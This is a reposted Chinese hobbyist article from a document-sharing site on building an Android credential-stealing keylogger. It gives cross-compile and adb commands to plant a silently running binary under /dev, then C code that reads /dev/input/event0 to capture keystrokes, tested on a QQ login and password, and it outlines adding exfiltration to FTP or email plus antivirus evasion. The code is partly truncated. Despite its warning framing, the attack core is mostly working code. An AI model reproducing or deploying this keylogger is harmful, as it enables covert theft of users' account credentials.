手机编程

2022-05-19 12:46:15   第一文档网     [ 字体: ] [ 阅读: ] [ 文档下载 ]
说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。下载word有问题请添加QQ:admin处理,感谢您的支持与谅解。点击这里给我发消息

#第一文档网# 导语】以下是®第一文档网的小编为您整理的《手机编程》,欢迎阅读!
编程,手机

关于安卓手机木马的编程

首先声明一下,我只是个编程爱好者(现在还在上大学),不是什么Trojan Maker(木马制造者)写这篇文章只是警告大家提防一些不明来路的程序,喜欢编程的童鞋们可以和我交流,这里只是贴出了实现算法的代码,并没有关于权限,证书,免杀等十分具有侵略性的代码,所以大家不必担心~~~

相信关于盗号木马大家应该都很常见了吧,但大多数人应该都只见过windows平台下的。可是在安卓手机越来越普及的今天,木马制作者也将会将注意力转移到手机上来, 为了防范和杜绝这种盗号木马,我们首先要了解安卓系统。安卓是基于Linux的操作系统,处理器是ARM的,所以要x86系统(大多数windowsLinuxpc机都是)上编译安卓能运行的程序,我们需要一个能交叉编译的环境(为了避免广告的嫌疑我就不说我用的是什么了)。

搭载好环境之后,我们先来熟悉一下开发调试流程,下面写好一个非常简单的C程序(只是为了再安卓机上测试用): #include

int main(int argc, char** argv) { printf("eva\n", "zherria"); return 0; }

将上面的代码另存成eva.c,然后打开命令行,确保交叉编译器的bin目录及Android SDKtools目录都在你的系统环境变量的path里面,输入下面的命令: arm-none-linux-gnueabi-gcc -static eva.c -o eva

编译成功之后将会在这个目录下生成一个evac语言格式的文件,然后我们启动安卓模拟器,输入下面的命令将文件push到安卓模拟器上: adb shell mkdir /dev/zherria adb push eva /dev/zherria/eva adb shell chmod 777 /dev/zherria/eva

新手可能不太懂这种机器指令,上面的命令的含义是:先创建在dev文件夹下创建zherria目录,再将编译好的eva文件上传过去,最后把eva改成可执行的c语言格式文件。 上传完毕之后,再打开命令行,进入安卓的shell环境: adb shell #cd /dev/zherria #./eva

还是解释一下上面的命令吧,先进入shell环境,然后进入 /dev/zherria目录,最后是执行eva,执行之后我们可以看到在安卓桌面上是没有任何反应的,待机状况下屏幕也不会亮,程序是后台静默运行的,具有很强的隐蔽性,OK,测试成功。




下面我们要编写真正的键盘记录的程序了,如果你曾经编过安卓系统的程序,就肯定会知道所有键盘事件都与device文件有关,我们来进入 /dev/input 的目录下,发现有3device文件:mice,mouse0,event0,分别监视这3个文件,发现在进行按键动作之后只有 event0 有反应,但显示的是一堆乱码。这就说明安卓系统会将用户的操作全部保存在这个文件中,只是都加密了,因此我们只要一个程序来解密这些乱码就可以获得我们需要的键盘信息了。写了一段代码,是通过event0的返回值来解密的,核心代码如下: #include #include static int event0_fd = -1; struct input_event ev0[64]; static int handle_event0() { int button = 0, i, rd;

rd = read(event0_fd, ev0, sizeof(struct input_event) * 64); if ( rd < sizeof(struct input_event) ) return 0; for (i = 0; i < rd / sizeof(struct input_event); i++) { if (ev0[i].type == 1&&ev0[i].value == 1) { printf("The key code is: %3d\n", ev0[i].code); if (ev0[i].code == 158) { return 0; } } } return 1; }

int main(void) { int done = 1;

event0_fd = open("/dev/input/event0", O_RDWR); if ( event0_fd < 0 ) return -1; printf("Start...\n"); while ( done ) {

done = handle_event0(); }


用我们刚才准备的交叉编译器把程序编译好之后移至安卓虚拟机中运行,我们切换到安卓模拟器,在模拟器上进行输入操作,程序就会显示你的按键信息。

测试一下,我们输入的QQ号码是7351,记录的按键编码是8462,然后按下密码框,记录键盘编码是330,密码输入的是zherria,也截取到了相应的键盘编码(比较复杂的乱码,这里就不粘贴过来了),OK,测试成功。如果要做一个真正的盗号木马。可以增加代码将记录下来的键盘发送到指定的FTP空间站或者邮箱,然后再排序,通过编码推算出按键信息,我们只是演示,所以就到这里。

可能有人会说我有360,我有金山,我有安全管家,首先我先不说360和金山的特征码的查杀方式是多么的弱智和古老(误杀+杀毒慢,国外大部分用的是启发式),就算这些软件能在pc机上把这个木马杀掉,但是你觉得我在pc上加的免杀,pc机上的上百兆的杀毒软件都有极可能查不出来,一个不到10mb的手机杀毒软件能查出来吗?

有人可能会担心有用心不良的人利用我这个代码去制作木马,在这里向大家解释一下,我这个代码只是其中的一部分,只是对文件进行解密,而作为木马就比这个要复杂的多,需要通过网络而向外发送数据的,这里就牵扯到权限、证书的破解,还要加壳、做免杀来通过杀毒软件的考验。虽然说比较复杂,但是对于专业人士还是手到擒来的,所以在这里希望大家不要通过手机来进行网银交易,同时要时刻注意自己的信息安全。

十一快到了,在这里祝大家玩的开心,玩的愉快~~~~~


本文来源:https://www.dywdw.cn/d161791010661ed9ad51f373.html

相关推荐
推荐阅读